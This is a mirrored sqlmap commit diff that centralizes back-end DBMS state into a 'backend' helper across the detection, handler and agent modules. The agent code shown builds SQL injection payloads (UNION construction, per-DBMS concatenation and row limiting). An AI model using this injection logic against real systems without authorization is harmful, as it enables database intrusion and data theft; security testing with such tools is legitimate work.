mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-25 11:03:47 +03:00
Major code refactoring - centralized all kb.dbms* info for both retrieval and set.
This commit is contained in:
parent
4bdc19d879
commit
bade0e3124
|
@ -8,7 +8,8 @@ See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from lib.controller.handler import setHandler
|
from lib.controller.handler import setHandler
|
||||||
from lib.core.common import getErrorParsedDBMSesFormatted
|
from lib.core.common import backend
|
||||||
|
from lib.core.common import format
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
|
@ -30,8 +31,8 @@ def action():
|
||||||
# system to be able to go ahead with the injection
|
# system to be able to go ahead with the injection
|
||||||
setHandler()
|
setHandler()
|
||||||
|
|
||||||
if not kb.dbmsDetected or not conf.dbmsHandler:
|
if not backend.getDbms() or not conf.dbmsHandler:
|
||||||
htmlParsed = getErrorParsedDBMSesFormatted()
|
htmlParsed = format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
errMsg = "sqlmap was not able to fingerprint the "
|
errMsg = "sqlmap was not able to fingerprint the "
|
||||||
errMsg += "back-end database management system"
|
errMsg += "back-end database management system"
|
||||||
|
|
|
@ -13,15 +13,14 @@ import time
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import aliasToDbmsEnum
|
from lib.core.common import aliasToDbmsEnum
|
||||||
|
from lib.core.common import backend
|
||||||
from lib.core.common import beep
|
from lib.core.common import beep
|
||||||
from lib.core.common import extractRegexResult
|
from lib.core.common import extractRegexResult
|
||||||
from lib.core.common import findDynamicContent
|
from lib.core.common import findDynamicContent
|
||||||
|
from lib.core.common import format
|
||||||
from lib.core.common import getComparePageRatio
|
from lib.core.common import getComparePageRatio
|
||||||
from lib.core.common import getCompiledRegex
|
from lib.core.common import getCompiledRegex
|
||||||
from lib.core.common import getErrorParsedDBMSes
|
from lib.core.common import getSortedInjectionTests
|
||||||
from lib.core.common import getErrorParsedDBMSesFormatted
|
|
||||||
from lib.core.common import getIdentifiedDBMS
|
|
||||||
from lib.core.common import getInjectionTests
|
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
from lib.core.common import popValue
|
from lib.core.common import popValue
|
||||||
from lib.core.common import pushValue
|
from lib.core.common import pushValue
|
||||||
|
@ -50,6 +49,7 @@ from lib.core.exception import sqlmapNoneDataException
|
||||||
from lib.core.exception import sqlmapUserQuitException
|
from lib.core.exception import sqlmapUserQuitException
|
||||||
from lib.core.session import setDynamicMarkings
|
from lib.core.session import setDynamicMarkings
|
||||||
from lib.core.settings import CONSTANT_RATIO
|
from lib.core.settings import CONSTANT_RATIO
|
||||||
|
from lib.core.settings import UNKNOWN_DBMS_VERSION
|
||||||
from lib.core.settings import UPPER_RATIO_BOUND
|
from lib.core.settings import UPPER_RATIO_BOUND
|
||||||
from lib.core.threads import getCurrentThreadData
|
from lib.core.threads import getCurrentThreadData
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
|
@ -78,8 +78,8 @@ def unescapeDbms(payload, injection, dbms):
|
||||||
payload = unescape(payload, dbms=dbms)
|
payload = unescape(payload, dbms=dbms)
|
||||||
elif conf.dbms is not None:
|
elif conf.dbms is not None:
|
||||||
payload = unescape(payload, dbms=conf.dbms)
|
payload = unescape(payload, dbms=conf.dbms)
|
||||||
elif getIdentifiedDBMS() is not None:
|
elif backend.getIdentifiedDbms() is not None:
|
||||||
payload = unescape(payload, dbms=getIdentifiedDBMS())
|
payload = unescape(payload, dbms=backend.getIdentifiedDbms())
|
||||||
|
|
||||||
return payload
|
return payload
|
||||||
|
|
||||||
|
@ -91,7 +91,7 @@ def checkSqlInjection(place, parameter, value):
|
||||||
# Set the flag for sql injection test mode
|
# Set the flag for sql injection test mode
|
||||||
kb.testMode = True
|
kb.testMode = True
|
||||||
|
|
||||||
for test in getInjectionTests():
|
for test in getSortedInjectionTests():
|
||||||
try:
|
try:
|
||||||
if kb.endDetection:
|
if kb.endDetection:
|
||||||
break
|
break
|
||||||
|
@ -164,19 +164,19 @@ def checkSqlInjection(place, parameter, value):
|
||||||
|
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if len(getErrorParsedDBMSes()) > 0 and dbms not in getErrorParsedDBMSes() and kb.skipOthersDbms is None:
|
if len(backend.getErrorParsedDBMSes()) > 0 and dbms not in backend.getErrorParsedDBMSes() and kb.skipOthersDbms is None:
|
||||||
msg = "parsed error message(s) showed that the "
|
msg = "parsed error message(s) showed that the "
|
||||||
msg += "back-end DBMS could be '%s'. " % getErrorParsedDBMSesFormatted()
|
msg += "back-end DBMS could be %s. " % format.getErrorParsedDBMSes()
|
||||||
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
||||||
|
|
||||||
if conf.realTest or readInput(msg, default="Y") in ("y", "Y"):
|
if conf.realTest or readInput(msg, default="Y") in ("y", "Y"):
|
||||||
kb.skipOthersDbms = getErrorParsedDBMSes()
|
kb.skipOthersDbms = backend.getErrorParsedDBMSes()
|
||||||
|
|
||||||
if kb.skipOthersDbms and dbms not in kb.skipOthersDbms:
|
if kb.skipOthersDbms and dbms not in kb.skipOthersDbms:
|
||||||
debugMsg = "skipping test '%s' because " % title
|
debugMsg = "skipping test '%s' because " % title
|
||||||
debugMsg += "the parsed error message(s) showed "
|
debugMsg += "the parsed error message(s) showed "
|
||||||
debugMsg += "that the back-end DBMS could be "
|
debugMsg += "that the back-end DBMS could be "
|
||||||
debugMsg += "%s" % getErrorParsedDBMSesFormatted()
|
debugMsg += "%s" % format.getErrorParsedDBMSes()
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
continue
|
continue
|
||||||
|
@ -395,7 +395,7 @@ def checkSqlInjection(place, parameter, value):
|
||||||
|
|
||||||
# Force back-end DBMS according to the current
|
# Force back-end DBMS according to the current
|
||||||
# test value for proper payload unescaping
|
# test value for proper payload unescaping
|
||||||
kb.misc.forcedDbms = dbms
|
backend.forceDbms(dbms)
|
||||||
|
|
||||||
# Skip test if the user provided custom column
|
# Skip test if the user provided custom column
|
||||||
# range and this is not a custom UNION test
|
# range and this is not a custom UNION test
|
||||||
|
@ -407,7 +407,7 @@ def checkSqlInjection(place, parameter, value):
|
||||||
|
|
||||||
configUnion(test.request.char, test.request.columns)
|
configUnion(test.request.char, test.request.columns)
|
||||||
|
|
||||||
if not getIdentifiedDBMS():
|
if not backend.getIdentifiedDbms():
|
||||||
warnMsg = "using unescaped version of the test "
|
warnMsg = "using unescaped version of the test "
|
||||||
warnMsg += "because of zero knowledge of the "
|
warnMsg += "because of zero knowledge of the "
|
||||||
warnMsg += "back-end DBMS"
|
warnMsg += "back-end DBMS"
|
||||||
|
@ -426,8 +426,8 @@ def checkSqlInjection(place, parameter, value):
|
||||||
# by unionTest() directly
|
# by unionTest() directly
|
||||||
where = vector[6]
|
where = vector[6]
|
||||||
|
|
||||||
# Reset back-end DBMS value
|
# Reset forced back-end DBMS value
|
||||||
kb.misc.forcedDbms = None
|
backend.flushForcedDbms()
|
||||||
|
|
||||||
# If the injection test was successful feed the injection
|
# If the injection test was successful feed the injection
|
||||||
# object with the test's details
|
# object with the test's details
|
||||||
|
@ -481,7 +481,7 @@ def checkSqlInjection(place, parameter, value):
|
||||||
if inp == injection.dbms:
|
if inp == injection.dbms:
|
||||||
break
|
break
|
||||||
elif inp == dValue:
|
elif inp == dValue:
|
||||||
kb.dbms = aliasToDbmsEnum(inp)
|
backend.setDbms(inp)
|
||||||
injection.dbms = aliasToDbmsEnum(inp)
|
injection.dbms = aliasToDbmsEnum(inp)
|
||||||
injection.dbms_version = None
|
injection.dbms_version = None
|
||||||
break
|
break
|
||||||
|
@ -489,10 +489,10 @@ def checkSqlInjection(place, parameter, value):
|
||||||
warnMsg = "invalid value"
|
warnMsg = "invalid value"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
elif dKey == "dbms" and injection.dbms is None:
|
elif dKey == "dbms" and injection.dbms is None:
|
||||||
kb.dbms = aliasToDbmsEnum(dValue)
|
backend.setDbms(dValue)
|
||||||
injection.dbms = aliasToDbmsEnum(dValue)
|
injection.dbms = aliasToDbmsEnum(dValue)
|
||||||
elif dKey == "dbms_version" and injection.dbms_version is None:
|
elif dKey == "dbms_version" and injection.dbms_version is None:
|
||||||
kb.dbmsVersion = [ dValue ]
|
backend.setVersion(dValue)
|
||||||
injection.dbms_version = dValue
|
injection.dbms_version = dValue
|
||||||
elif dKey == "os" and injection.os is None:
|
elif dKey == "os" and injection.os is None:
|
||||||
injection.os = dValue
|
injection.os = dValue
|
||||||
|
@ -558,7 +558,7 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||||
infoMsg += "parameter '%s' might " % parameter
|
infoMsg += "parameter '%s' might " % parameter
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
infoMsg += "be injectable (possible DBMS: %s)" % (getErrorParsedDBMSesFormatted() or 'Unknown')
|
infoMsg += "be injectable (possible DBMS: %s)" % (format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
else:
|
else:
|
||||||
infoMsg += "not be injectable"
|
infoMsg += "not be injectable"
|
||||||
|
|
|
@ -7,7 +7,7 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||||
See the file 'doc/COPYING' for copying permission
|
See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import popValue
|
from lib.core.common import popValue
|
||||||
from lib.core.common import pushValue
|
from lib.core.common import pushValue
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
|
@ -63,11 +63,11 @@ def setHandler():
|
||||||
( SYBASE_ALIASES, SybaseMap, SybaseConn ),
|
( SYBASE_ALIASES, SybaseMap, SybaseConn ),
|
||||||
]
|
]
|
||||||
|
|
||||||
if getIdentifiedDBMS() is not None:
|
if backend.getIdentifiedDbms() is not None:
|
||||||
for i in xrange(len(dbmsObj)):
|
for i in xrange(len(dbmsObj)):
|
||||||
dbmsAliases, _, _ = dbmsObj[i]
|
dbmsAliases, _, _ = dbmsObj[i]
|
||||||
|
|
||||||
if getIdentifiedDBMS().lower() in dbmsAliases:
|
if backend.getIdentifiedDbms().lower() in dbmsAliases:
|
||||||
if i > 0:
|
if i > 0:
|
||||||
pushValue(dbmsObj[i])
|
pushValue(dbmsObj[i])
|
||||||
dbmsObj.remove(dbmsObj[i])
|
dbmsObj.remove(dbmsObj[i])
|
||||||
|
@ -94,12 +94,12 @@ def setHandler():
|
||||||
conf.dbmsConnector.connect()
|
conf.dbmsConnector.connect()
|
||||||
|
|
||||||
if handler.checkDbms():
|
if handler.checkDbms():
|
||||||
kb.dbmsDetected = True
|
|
||||||
conf.dbmsHandler = handler
|
conf.dbmsHandler = handler
|
||||||
|
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
conf.dbmsConnector = None
|
conf.dbmsConnector = None
|
||||||
|
|
||||||
# At this point proper back-end DBMS is fingerprinted (kb.dbms)
|
# At this point back-end DBMS is correctly fingerprinted, no need
|
||||||
kb.misc.forcedDbms = None
|
# to enforce it anymore
|
||||||
|
backend.flushForcedDbms()
|
||||||
|
|
|
@ -11,9 +11,8 @@ import re
|
||||||
|
|
||||||
from xml.etree import ElementTree as ET
|
from xml.etree import ElementTree as ET
|
||||||
|
|
||||||
|
from lib.core.common import backend
|
||||||
from lib.core.common import getCompiledRegex
|
from lib.core.common import getCompiledRegex
|
||||||
from lib.core.common import getErrorParsedDBMSes
|
|
||||||
from lib.core.common import getIdentifiedDBMS
|
|
||||||
from lib.core.common import isDBMSVersionAtLeast
|
from lib.core.common import isDBMSVersionAtLeast
|
||||||
from lib.core.common import isTechniqueAvailable
|
from lib.core.common import isTechniqueAvailable
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
|
@ -206,8 +205,8 @@ class Agent:
|
||||||
payload = payload.replace("[ORIGVALUE]", origvalue)
|
payload = payload.replace("[ORIGVALUE]", origvalue)
|
||||||
|
|
||||||
if "[INFERENCE]" in payload:
|
if "[INFERENCE]" in payload:
|
||||||
if getIdentifiedDBMS() is not None:
|
if backend.getIdentifiedDbms() is not None:
|
||||||
inference = queries[getIdentifiedDBMS()].inference
|
inference = queries[backend.getIdentifiedDbms()].inference
|
||||||
|
|
||||||
if "dbms_version" in inference:
|
if "dbms_version" in inference:
|
||||||
if isDBMSVersionAtLeast(inference.dbms_version):
|
if isDBMSVersionAtLeast(inference.dbms_version):
|
||||||
|
@ -265,17 +264,17 @@ class Agent:
|
||||||
|
|
||||||
# SQLite version 2 does not support neither CAST() nor IFNULL(),
|
# SQLite version 2 does not support neither CAST() nor IFNULL(),
|
||||||
# introduced only in SQLite version 3
|
# introduced only in SQLite version 3
|
||||||
if getIdentifiedDBMS() == DBMS.SQLITE:
|
if backend.getIdentifiedDbms() == DBMS.SQLITE:
|
||||||
return field
|
return field
|
||||||
|
|
||||||
if field.startswith("(CASE"):
|
if field.startswith("(CASE"):
|
||||||
nulledCastedField = field
|
nulledCastedField = field
|
||||||
else:
|
else:
|
||||||
nulledCastedField = queries[getIdentifiedDBMS()].cast.query % field
|
nulledCastedField = queries[backend.getIdentifiedDbms()].cast.query % field
|
||||||
if getIdentifiedDBMS() == DBMS.ACCESS:
|
if backend.getIdentifiedDbms() == DBMS.ACCESS:
|
||||||
nulledCastedField = queries[getIdentifiedDBMS()].isnull.query % (nulledCastedField, nulledCastedField)
|
nulledCastedField = queries[backend.getIdentifiedDbms()].isnull.query % (nulledCastedField, nulledCastedField)
|
||||||
else:
|
else:
|
||||||
nulledCastedField = queries[getIdentifiedDBMS()].isnull.query % nulledCastedField
|
nulledCastedField = queries[backend.getIdentifiedDbms()].isnull.query % nulledCastedField
|
||||||
|
|
||||||
return nulledCastedField
|
return nulledCastedField
|
||||||
|
|
||||||
|
@ -309,12 +308,12 @@ class Agent:
|
||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if not kb.dbmsDetected:
|
if not backend.getDbms():
|
||||||
return fields
|
return fields
|
||||||
|
|
||||||
fields = fields.replace(", ", ",")
|
fields = fields.replace(", ", ",")
|
||||||
fieldsSplitted = fields.split(",")
|
fieldsSplitted = fields.split(",")
|
||||||
dbmsDelimiter = queries[getIdentifiedDBMS()].delimiter.query
|
dbmsDelimiter = queries[backend.getIdentifiedDbms()].delimiter.query
|
||||||
nulledCastedFields = []
|
nulledCastedFields = []
|
||||||
|
|
||||||
for field in fieldsSplitted:
|
for field in fieldsSplitted:
|
||||||
|
@ -377,13 +376,13 @@ class Agent:
|
||||||
def simpleConcatQuery(self, query1, query2):
|
def simpleConcatQuery(self, query1, query2):
|
||||||
concatenatedQuery = ""
|
concatenatedQuery = ""
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
|
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
|
||||||
|
|
||||||
elif getIdentifiedDBMS() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):
|
elif backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):
|
||||||
concatenatedQuery = "%s||%s" % (query1, query2)
|
concatenatedQuery = "%s||%s" % (query1, query2)
|
||||||
|
|
||||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
concatenatedQuery = "%s+%s" % (query1, query2)
|
concatenatedQuery = "%s+%s" % (query1, query2)
|
||||||
|
|
||||||
return concatenatedQuery
|
return concatenatedQuery
|
||||||
|
@ -425,7 +424,7 @@ class Agent:
|
||||||
concatenatedQuery = query
|
concatenatedQuery = query
|
||||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
|
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
if fieldsExists:
|
if fieldsExists:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
|
||||||
concatenatedQuery += ",'%s')" % kb.misc.stop
|
concatenatedQuery += ",'%s')" % kb.misc.stop
|
||||||
|
@ -438,7 +437,7 @@ class Agent:
|
||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
|
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
|
||||||
|
|
||||||
elif getIdentifiedDBMS() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):
|
elif backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):
|
||||||
if fieldsExists:
|
if fieldsExists:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
|
||||||
concatenatedQuery += "||'%s'" % kb.misc.stop
|
concatenatedQuery += "||'%s'" % kb.misc.stop
|
||||||
|
@ -451,10 +450,10 @@ class Agent:
|
||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatenatedQuery = "'%s'||%s||'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
|
concatenatedQuery = "'%s'||%s||'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.ORACLE and " FROM " not in concatenatedQuery and (fieldsSelect or fieldsNoSelect):
|
if backend.getIdentifiedDbms() == DBMS.ORACLE and " FROM " not in concatenatedQuery and (fieldsSelect or fieldsNoSelect):
|
||||||
concatenatedQuery += " FROM DUAL"
|
concatenatedQuery += " FROM DUAL"
|
||||||
|
|
||||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
if fieldsExists:
|
if fieldsExists:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
|
||||||
concatenatedQuery += "+'%s'" % kb.misc.stop
|
concatenatedQuery += "+'%s'" % kb.misc.stop
|
||||||
|
@ -520,8 +519,8 @@ class Agent:
|
||||||
intoRegExp = intoRegExp.group(1)
|
intoRegExp = intoRegExp.group(1)
|
||||||
query = query[:query.index(intoRegExp)]
|
query = query[:query.index(intoRegExp)]
|
||||||
|
|
||||||
if getIdentifiedDBMS() in FROM_TABLE and inbandQuery.endswith(FROM_TABLE[getIdentifiedDBMS()]):
|
if backend.getIdentifiedDbms() in FROM_TABLE and inbandQuery.endswith(FROM_TABLE[backend.getIdentifiedDbms()]):
|
||||||
inbandQuery = inbandQuery[:-len(FROM_TABLE[getIdentifiedDBMS()])]
|
inbandQuery = inbandQuery[:-len(FROM_TABLE[backend.getIdentifiedDbms()])]
|
||||||
|
|
||||||
for element in range(count):
|
for element in range(count):
|
||||||
if element > 0:
|
if element > 0:
|
||||||
|
@ -540,9 +539,9 @@ class Agent:
|
||||||
conditionIndex = query.index(" FROM ")
|
conditionIndex = query.index(" FROM ")
|
||||||
inbandQuery += query[conditionIndex:]
|
inbandQuery += query[conditionIndex:]
|
||||||
|
|
||||||
if getIdentifiedDBMS() in FROM_TABLE:
|
if backend.getIdentifiedDbms() in FROM_TABLE:
|
||||||
if " FROM " not in inbandQuery:
|
if " FROM " not in inbandQuery:
|
||||||
inbandQuery += FROM_TABLE[getIdentifiedDBMS()]
|
inbandQuery += FROM_TABLE[backend.getIdentifiedDbms()]
|
||||||
|
|
||||||
if intoRegExp:
|
if intoRegExp:
|
||||||
inbandQuery += intoRegExp
|
inbandQuery += intoRegExp
|
||||||
|
@ -559,8 +558,8 @@ class Agent:
|
||||||
else:
|
else:
|
||||||
inbandQuery += char
|
inbandQuery += char
|
||||||
|
|
||||||
if getIdentifiedDBMS() in FROM_TABLE:
|
if backend.getIdentifiedDbms() in FROM_TABLE:
|
||||||
inbandQuery += FROM_TABLE[getIdentifiedDBMS()]
|
inbandQuery += FROM_TABLE[backend.getIdentifiedDbms()]
|
||||||
|
|
||||||
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
|
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
|
||||||
|
|
||||||
|
@ -589,21 +588,21 @@ class Agent:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
limitedQuery = query
|
limitedQuery = query
|
||||||
limitStr = queries[getIdentifiedDBMS()].limit.query
|
limitStr = queries[backend.getIdentifiedDbms()].limit.query
|
||||||
fromIndex = limitedQuery.index(" FROM ")
|
fromIndex = limitedQuery.index(" FROM ")
|
||||||
untilFrom = limitedQuery[:fromIndex]
|
untilFrom = limitedQuery[:fromIndex]
|
||||||
fromFrom = limitedQuery[fromIndex+1:]
|
fromFrom = limitedQuery[fromIndex+1:]
|
||||||
orderBy = False
|
orderBy = False
|
||||||
|
|
||||||
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
|
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
|
||||||
limitStr = queries[getIdentifiedDBMS()].limit.query % (num, 1)
|
limitStr = queries[backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||||
limitedQuery += " %s" % limitStr
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
|
||||||
limitStr = queries[getIdentifiedDBMS()].limit.query % (num+1, num+1)
|
limitStr = queries[backend.getIdentifiedDbms()].limit.query % (num+1, num+1)
|
||||||
limitedQuery += " %s" % limitStr
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
|
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
|
||||||
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
|
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
|
||||||
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
||||||
|
@ -615,7 +614,7 @@ class Agent:
|
||||||
limitedQuery = limitedQuery % fromFrom
|
limitedQuery = limitedQuery % fromFrom
|
||||||
limitedQuery += "=%d" % (num + 1)
|
limitedQuery += "=%d" % (num + 1)
|
||||||
|
|
||||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
forgeNotIn = True
|
forgeNotIn = True
|
||||||
|
|
||||||
if " ORDER BY " in limitedQuery:
|
if " ORDER BY " in limitedQuery:
|
||||||
|
@ -629,7 +628,7 @@ class Agent:
|
||||||
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
|
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
|
||||||
|
|
||||||
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
|
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
|
||||||
topNums = re.search(queries[getIdentifiedDBMS()].limitregexp.query, limitedQuery, re.I)
|
topNums = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, limitedQuery, re.I)
|
||||||
|
|
||||||
if topNums:
|
if topNums:
|
||||||
topNums = topNums.groups()
|
topNums = topNums.groups()
|
||||||
|
@ -675,8 +674,8 @@ class Agent:
|
||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if getIdentifiedDBMS() is not None and hasattr(queries[getIdentifiedDBMS()], "case"):
|
if backend.getIdentifiedDbms() is not None and hasattr(queries[backend.getIdentifiedDbms()], "case"):
|
||||||
return queries[getIdentifiedDBMS()].case.query % expression
|
return queries[backend.getIdentifiedDbms()].case.query % expression
|
||||||
else:
|
else:
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
|
@ -78,12 +78,14 @@ from lib.core.settings import MIN_TIME_RESPONSES
|
||||||
from lib.core.settings import TIME_DEFAULT_DELAY
|
from lib.core.settings import TIME_DEFAULT_DELAY
|
||||||
from lib.core.settings import TIME_STDEV_COEFF
|
from lib.core.settings import TIME_STDEV_COEFF
|
||||||
from lib.core.settings import DYNAMICITY_MARK_LENGTH
|
from lib.core.settings import DYNAMICITY_MARK_LENGTH
|
||||||
|
from lib.core.settings import UNKNOWN_DBMS_VERSION
|
||||||
from lib.core.threads import getCurrentThreadData
|
from lib.core.threads import getCurrentThreadData
|
||||||
|
|
||||||
class UnicodeRawConfigParser(RawConfigParser):
|
class UnicodeRawConfigParser(RawConfigParser):
|
||||||
"""
|
"""
|
||||||
RawConfigParser with unicode writing support
|
RawConfigParser with unicode writing support
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def write(self, fp):
|
def write(self, fp):
|
||||||
"""
|
"""
|
||||||
Write an .ini-format representation of the configuration state.
|
Write an .ini-format representation of the configuration state.
|
||||||
|
@ -109,10 +111,10 @@ class UnicodeRawConfigParser(RawConfigParser):
|
||||||
|
|
||||||
fp.write("\n")
|
fp.write("\n")
|
||||||
|
|
||||||
|
|
||||||
class DynamicContentItem:
|
class DynamicContentItem:
|
||||||
"""
|
"""
|
||||||
Represents line in content page with dynamic properties (candidate for removal prior detection phase)
|
Represents line in content page with dynamic properties (candidate
|
||||||
|
for removal prior detection phase)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, lineNumber, pageTotal, lineContentBefore, lineContentAfter):
|
def __init__(self, lineNumber, pageTotal, lineContentBefore, lineContentAfter):
|
||||||
|
@ -121,7 +123,6 @@ class DynamicContentItem:
|
||||||
self.lineContentBefore = lineContentBefore
|
self.lineContentBefore = lineContentBefore
|
||||||
self.lineContentAfter = lineContentAfter
|
self.lineContentAfter = lineContentAfter
|
||||||
|
|
||||||
|
|
||||||
def paramToDict(place, parameters=None):
|
def paramToDict(place, parameters=None):
|
||||||
"""
|
"""
|
||||||
Split the parameters into names and values, check if these parameters
|
Split the parameters into names and values, check if these parameters
|
||||||
|
@ -203,110 +204,6 @@ def paramToDict(place, parameters=None):
|
||||||
|
|
||||||
return testableParameters
|
return testableParameters
|
||||||
|
|
||||||
def formatDBMSfp(versions=None):
|
|
||||||
"""
|
|
||||||
This function format the back-end DBMS fingerprint value and return its
|
|
||||||
values formatted as a human readable string.
|
|
||||||
|
|
||||||
@return: detected back-end DBMS based upon fingerprint techniques.
|
|
||||||
@rtype: C{str}
|
|
||||||
"""
|
|
||||||
|
|
||||||
while versions and None in versions:
|
|
||||||
versions.remove(None)
|
|
||||||
|
|
||||||
if not versions and kb.dbmsVersion and kb.dbmsVersion[0] != UNKNOWN_DBMS_VERSION and kb.dbmsVersion[0] != None:
|
|
||||||
versions = kb.dbmsVersion
|
|
||||||
|
|
||||||
if isinstance(versions, basestring):
|
|
||||||
return "%s %s" % (getIdentifiedDBMS(), versions)
|
|
||||||
elif isinstance(versions, (list, set, tuple)):
|
|
||||||
return "%s %s" % (getIdentifiedDBMS(), " and ".join([version for version in versions]))
|
|
||||||
elif not versions:
|
|
||||||
warnMsg = "unable to extensively fingerprint the back-end "
|
|
||||||
warnMsg += "DBMS version"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
return getIdentifiedDBMS()
|
|
||||||
|
|
||||||
def formatFingerprintString(values, chain=" or "):
|
|
||||||
strJoin = "|".join([v for v in values])
|
|
||||||
|
|
||||||
return strJoin.replace("|", chain)
|
|
||||||
|
|
||||||
def formatFingerprint(target, info):
|
|
||||||
"""
|
|
||||||
This function format the back-end operating system fingerprint value
|
|
||||||
and return its values formatted as a human readable string.
|
|
||||||
|
|
||||||
Example of info (kb.headersFp) dictionary:
|
|
||||||
|
|
||||||
{
|
|
||||||
'distrib': set(['Ubuntu']),
|
|
||||||
'type': set(['Linux']),
|
|
||||||
'technology': set(['PHP 5.2.6', 'Apache 2.2.9']),
|
|
||||||
'release': set(['8.10'])
|
|
||||||
}
|
|
||||||
|
|
||||||
Example of info (kb.bannerFp) dictionary:
|
|
||||||
|
|
||||||
